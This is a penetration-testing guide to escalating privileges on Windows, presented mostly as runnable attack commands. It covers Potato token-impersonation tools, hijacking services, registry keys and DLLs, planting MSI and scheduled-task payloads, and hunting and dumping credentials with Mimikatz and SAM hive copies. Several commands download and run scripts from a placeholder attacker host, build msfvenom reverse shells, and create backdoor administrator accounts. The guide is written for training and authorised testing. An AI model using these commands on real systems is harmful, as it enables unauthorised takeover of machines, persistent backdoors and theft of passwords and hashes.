Windows privilege escalation is the process of moving from a low-privileged user account to the SYSTEM account (or equivalent administrative rights) on a Windows system. Windows' complex permission model, service architecture, and legacy compatibility features create numerous escalation opportunities that penetration testers must understand. This guide covers the complete methodology, from initial enumeration through the most common and impactful escalation paths used in real engagements.
Phase 1: Initial Enumeration
System and User Context
# Current user and privileges
whoami
whoami /all # full SID, group memberships, and privileges
whoami /priv # just privilege tokens
whoami /groups # group memberships
# System information
systeminfo # OS version, hotfixes, domain info
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
hostname
# Installed patches (helps identify kernel exploit opportunities)
wmic qfe list brief | findstr "KB"
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Environment variables
set
echo %USERNAME%
echo %COMPUTERNAME%
echo %USERDOMAIN%
echo %PATH%
# Logged in users
query session
query user
# Running processes
tasklist /v
tasklist /svc # processes and associated services
wmic process list brief
Key Privileges to Look For
| Privilege | Escalation Method |
|---|---|
| SeImpersonatePrivilege | Potato attacks (JuicyPotato, PrintSpoofer, GodPotato) |
| SeAssignPrimaryTokenPrivilege | Potato attacks |
| SeBackupPrivilege | Copy SAM/SYSTEM hive, read any file |
| SeRestorePrivilege | Write any file, including SAM/SYSTEM |
| SeTakeOwnershipPrivilege | Take ownership of any file/registry key |
| SeDebugPrivilege | Dump LSASS memory, inject into processes |
| SeLoadDriverPrivilege | Load malicious kernel driver |
| SeManageVolumePrivilege | DLL hijacking in Windows directory |
| SeCreateSymbolicLinkPrivilege | Symlink attacks |
# Check privileges
whoami /priv
# Look for "Enabled" status — disabled privs can sometimes be enabled
# Enable disabled privileges with PowerShell
# Using PowerSploit's Enable-Privilege:
Import-Module .\PowerSploit.psd1
Get-ProcessTokenPrivilege
Enable-Privilege SeDebugPrivilege
Phase 2: Token Impersonation — Potato Attacks
Potato attacks exploit Windows COM authentication to impersonate SYSTEM-level tokens. They require SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, which are commonly granted to service accounts (IIS, SQL Server, etc.).
JuicyPotato (Windows Server 2008–2016)
# JuicyPotato works by listening on a local COM object with SYSTEM token
# Triggers SYSTEM authentication via CoGetInstanceFromIStorage
# Impersonates the token and executes a command
# Download: https://github.com/ohpe/juicy-potato/releases
# Basic usage
JuicyPotato.exe -l 1337 -p cmd.exe -t *
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t *
# Execute specific command as SYSTEM
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\Public\result.txt" -t *
# Get reverse shell
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')\"" -t *
# Specify CLSID (if default doesn't work — find CLSIDs for target OS)
# CLSID list: https://github.com/ohpe/juicy-potato/tree/master/CLSID
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
# Note: -l = listening port, -p = program to run, -t = token (use * for both)
PrintSpoofer (Windows 10 / Server 2019)
# PrintSpoofer exploits the Windows Print Spooler service
# Works on Windows 10 1809 and Windows Server 2019/2022
# Requires: SeImpersonatePrivilege
# Download: https://github.com/itm4n/PrintSpoofer/releases
# Spawn SYSTEM cmd
PrintSpoofer.exe -i -c cmd.exe
# Execute command
PrintSpoofer.exe -c "cmd.exe /c whoami > C:\Users\Public\result.txt"
# Reverse shell
PrintSpoofer.exe -c "cmd.exe /c powershell.exe -enc BASE64_ENCODED_PAYLOAD"
# Check if vulnerable (SpoolSS service must be running)
sc query Spooler
GodPotato (Modern — Windows 2012–2022)
# GodPotato is the modern Potato variant working on recent Windows
# Works: Windows Server 2012 – 2022, Windows 8 – 11
# Download: https://github.com/BeichenDream/GodPotato
# Execute command as SYSTEM
GodPotato.exe -cmd "whoami"
GodPotato.exe -cmd "cmd.exe /c whoami > C:\Users\Public\out.txt"
# Interactive SYSTEM shell
GodPotato.exe -cmd "cmd.exe"
# PowerShell reverse shell
GodPotato.exe -cmd "powershell.exe -ep bypass -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')\""
RoguePotato
# RoguePotato — targets remote OXID resolver
# For environments where other Potato attacks are patched
# Requires network access to attacker machine on port 135
# On attacker machine:
socat tcp-listen:135,reuseaddr,fork tcp:TARGET_IP:9999
# On target machine:
RoguePotato.exe -r ATTACKER_IP -e "whoami" -l 9999
Phase 3: Unquoted Service Paths
When a service binary path contains spaces and is not quoted, Windows searches for executables at each space-delimited path. This can be abused to execute a malicious binary with the service's privileges (often SYSTEM).
# Example vulnerable service path:
# C:\Program Files\Vulnerable App\Service\vuln_service.exe
# Windows searches for:
# C:\Program.exe
# C:\Program Files\Vulnerable.exe
# C:\Program Files\Vulnerable App\Service.exe -- if we can write here!
# C:\Program Files\Vulnerable App\Service\vuln_service.exe
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -match ' ' -and $_.PathName -notmatch '"'} | Select-Object Name, PathName
# Or with PowerUp.ps1
Import-Module .\PowerUp.ps1
Get-UnquotedService
# Verify write permissions on intermediate directories
icacls "C:\Program Files\Vulnerable App"
# Look for: BUILTIN\Users:(W) or NT AUTHORITY\Authenticated Users:(W)
# Create malicious executable with expected name
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o Service.exe
copy Service.exe "C:\Program Files\Vulnerable App\Service.exe"
# Restart the service (if you have permission or can wait for restart)
sc stop VulnService
sc start VulnService
# Or wait for system reboot
Phase 4: Weak Service Permissions
# If you can modify service configuration, change binary path to your payload
# Check service permissions with AccessChk (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * 2>nul | findstr SERVICE_ALL_ACCESS
accesschk.exe -uwcqv "Everyone" * 2>nul
accesschk.exe -ucqv VulnService 2>nul
# Check with sc
sc sdshow VulnService
# Parse SDDL: RP = Read, WP = Write, CC = QueryConfig, etc.
# If Authenticated Users or Users have SERVICE_CHANGE_CONFIG
# PowerUp check
Get-ModifiableService | Select-Object Name, ServiceName
# Exploit: Change binary path to malicious executable
sc config VulnService binpath= "C:\Temp\malicious.exe"
sc stop VulnService
sc start VulnService
# Or change to net user to add admin account
sc config VulnService binpath= "net user backdoor P@ssw0rd! /add"
sc stop VulnService && sc start VulnService
sc config VulnService binpath= "net localgroup administrators backdoor /add"
sc stop VulnService && sc start VulnService
Phase 5: AlwaysInstallElevated
# If AlwaysInstallElevated is enabled in both HKLM and HKCU,
# any .MSI package runs with SYSTEM privileges
# Check registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must be set to 1 (0x1) for exploit to work
# PowerShell check
Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue
# PowerUp check
Get-RegistryAlwaysInstallElevated
# Exploit: Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o malicious.msi
# Execute
msiexec /quiet /qn /i C:\Temp\malicious.msi
# Start listener
nc -lvnp 4444
Phase 6: DLL Hijacking
Windows searches for DLLs in a specific order. If an application loads a DLL from a directory where we have write access before it reaches the legitimate DLL location, we can inject malicious code.
DLL Search Order
- Directory of the application executable
- System directory (
C:\Windows\System32) - 16-bit system directory (
C:\Windows\System) - Windows directory (
C:\Windows) - Current working directory
- Directories in PATH environment variable
# Find DLL hijacking opportunities with Process Monitor (ProcMon)
# Filter: Result = NAME NOT FOUND AND Path ends with .dll
# Look for DLLs in directories where you have write access
# Or use PowerUp
Find-PathDLLHijack
Find-ProcessDLLHijack
# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o malicious.dll
# Or compile a custom DLL (C)
# The DLL must export the functions the application expects
# Minimal proxy DLL example:
# Create the DLL
x86_64-w64-mingw32-gcc -shared -o target.dll shell.c
# Place malicious DLL in the search path location
copy malicious.dll "C:\Vulnerable App\missing.dll"
# Restart application or wait for it to reload
# Windows DLL Hijacking candidates (run as SYSTEM or high integrity):
# WinPcap, Bonjour, printer drivers, VPN clients
Phase 7: Credential Hunting
Credentials stored in configuration files, registry, or memory are frequently the fastest path to privilege escalation.
Registry Credential Search
# Search registry for password strings
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul
# AutoLogon credentials (stored in plaintext!)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
# VNC password (obfuscated with DES)
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
# PuTTY stored sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"
File-Based Credential Hunting
# Search for common credential files
dir /b /s C:\*.xml 2>nul | findstr /i "passw"
dir /b /s C:\*.ini 2>nul | findstr /i "passw"
dir /b /s C:\*.txt 2>nul | findstr /i "passw"
dir /b /s C:\*.config 2>nul
# Unattend.xml — Windows Setup automation (often contains credentials)
dir /b /s C:\*unattend*.xml 2>nul
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\unattend\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
# IIS web.config (database connection strings)
type C:\inetpub\wwwroot\web.config | findstr "password connectionString"
# PowerShell history
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# FileZilla saved credentials
type C:\Users\%USERNAME%\AppData\Roaming\FileZilla\sitemanager.xml
type C:\Users\%USERNAME%\AppData\Roaming\FileZilla\recentservers.xml
# Git config (may contain credentials in remote URLs)
type C:\Users\%USERNAME%\.gitconfig
type C:\Users\%USERNAME%\AppData\Local\GitCredentialManager\git-credential-manager.log
# Windows Credential Manager
cmdkey /list
# If interesting entries, use Mimikatz to extract
# Or: rundll32.exe keymgr.dll, KRShowKeyMgr (GUI)
SAM Database Dump
# Method 1: Volume Shadow Copy (requires admin)
# List shadow copies
vssadmin list shadows
# Create and use shadow copy
wmic shadowcopy call create Volume='C:\'
# Then copy SAM from shadow:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# Method 2: Registry export (requires local admin)
reg save HKLM\SAM C:\Temp\SAM.hiv
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv
reg save HKLM\SECURITY C:\Temp\SECURITY.hiv
# Extract hashes with secretsdump.py (from Linux)
python3 secretsdump.py -sam SAM.hiv -system SYSTEM.hiv LOCAL
# Method 3: Mimikatz (requires local admin / SeDebugPrivilege)
# Must run as administrator
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam # dump SAM hashes
sekurlsa::logonpasswords # dump cleartext passwords from LSASS memory
Phase 8: winpeas and PowerUp
winpeas.exe
# WinPEAS — Windows Privilege Escalation Awesome Script
# Download: https://github.com/carlospolop/PEASS-ng/releases
# Transfer to target
# (On attacker) python3 -m http.server 8080
# (On target) certutil.exe -urlcache -f http://ATTACKER:8080/winpeas.exe C:\Temp\winpeas.exe
# Full scan
C:\Temp\winpeas.exe
# Specific check groups
C:\Temp\winpeas.exe systeminfo # OS, arch, AV, installed software
C:\Temp\winpeas.exe userinfo # users, groups, privileges
C:\Temp\winpeas.exe servicesinfo # services, unquoted paths, modifiable
C:\Temp\winpeas.exe applicationsinfo # installed applications
C:\Temp\winpeas.exe networkinfo # network adapters, firewall rules
C:\Temp\winpeas.exe windowscreds # credential vaults, Vault credentials
C:\Temp\winpeas.exe browserinfo # browser-stored credentials
# Output to file
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt 2>&1
# Key findings to prioritize (red = critical):
# SeImpersonatePrivilege → Potato attacks
# AlwaysInstallElevated = 1 → MSI exploit
# Unquoted service paths with writable dirs
# Writable service binary paths
# AutoLogon credentials in registry
# Unattend.xml files with credentials
# Modifiable services with SYSTEM start
PowerUp.ps1
# PowerUp — PowerSploit module for Windows privesc enumeration
# Download: https://github.com/PowerShellMafia/PowerSploit
# Transfer and import
powershell.exe -ep bypass
Import-Module .\PowerUp.ps1
# Run all checks
Invoke-AllChecks
# Individual checks
Get-UnquotedService # unquoted service paths
Get-ModifiableService # services with weak permissions
Get-ModifiableServiceFile # service binaries with weak permissions
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated
Get-RegistryAutoLogon # AutoLogon credentials
Get-UnattendedInstallFile # Unattend.xml locations
Get-SiteListPassword # McAfee SiteList credential files
# Get-ServiceDetail for specific service
Get-ServiceDetail -Name VulnService
# Automated exploitation
Write-ServiceBinary -Name VulnService -Command "net user hacker P@ss /add"
Invoke-ServiceAbuse -Name VulnService -Command "net localgroup Administrators hacker /add"
Phase 9: Additional Techniques
Weak Folder Permissions on Service Executables
# Find service binaries writable by current user
# PowerUp:
Get-ModifiableServiceFile
# Manual check with icacls
icacls "C:\Program Files\VulnApp\service.exe"
# Look for: BUILTIN\Users:(F) or (W) — Full or Write access
# Replace with malicious binary
copy /Y malicious.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnService
sc start VulnService
Scheduled Task Abuse
# List scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "Task To Run\|Run As User"
# Find tasks running as SYSTEM with writable script paths
schtasks /query /fo LIST /v | findstr /i "system"
# Check script permissions
icacls "C:\Scripts\backup.bat"
# Replace script with malicious content
echo net user hacker P@ss /add >> C:\Scripts\backup.bat
echo net localgroup administrators hacker /add >> C:\Scripts\backup.bat
# PowerShell enumeration
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName, TaskPath
Weak Registry Permissions
# Find registry keys with weak permissions
# AccessChk:
accesschk.exe -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services 2>nul
# If service registry key is writable, change binary path:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\malicious.exe" /f
sc stop VulnService
sc start VulnService
# PowerUp check:
Get-ModifiableRegistryAutoRun
Hot Potato (MS16-075/MS16-032)
# Hot Potato exploited multiple Windows vulnerabilities:
# NBNS spoofing + WPAD proxy + NTLM relay → SYSTEM
# For older systems (Windows 7/8/Server 2008/2012):
# Potato.exe
Potato.exe -ip VICTIM_IP -cmd [command] -disable_exhaust true
# MS16-032: Secondary Logon Handle elevation (Windows 7-10, Server 2008-2012 R2)
powershell.exe -ep bypass -noprofile C:\Tools\Invoke-MS16032.ps1
sekurlsa::logonpasswords in Mimikatz to capture all cached credentials. These often include domain admin credentials cached from administrators who logged into the machine, enabling lateral movement across the entire domain environment.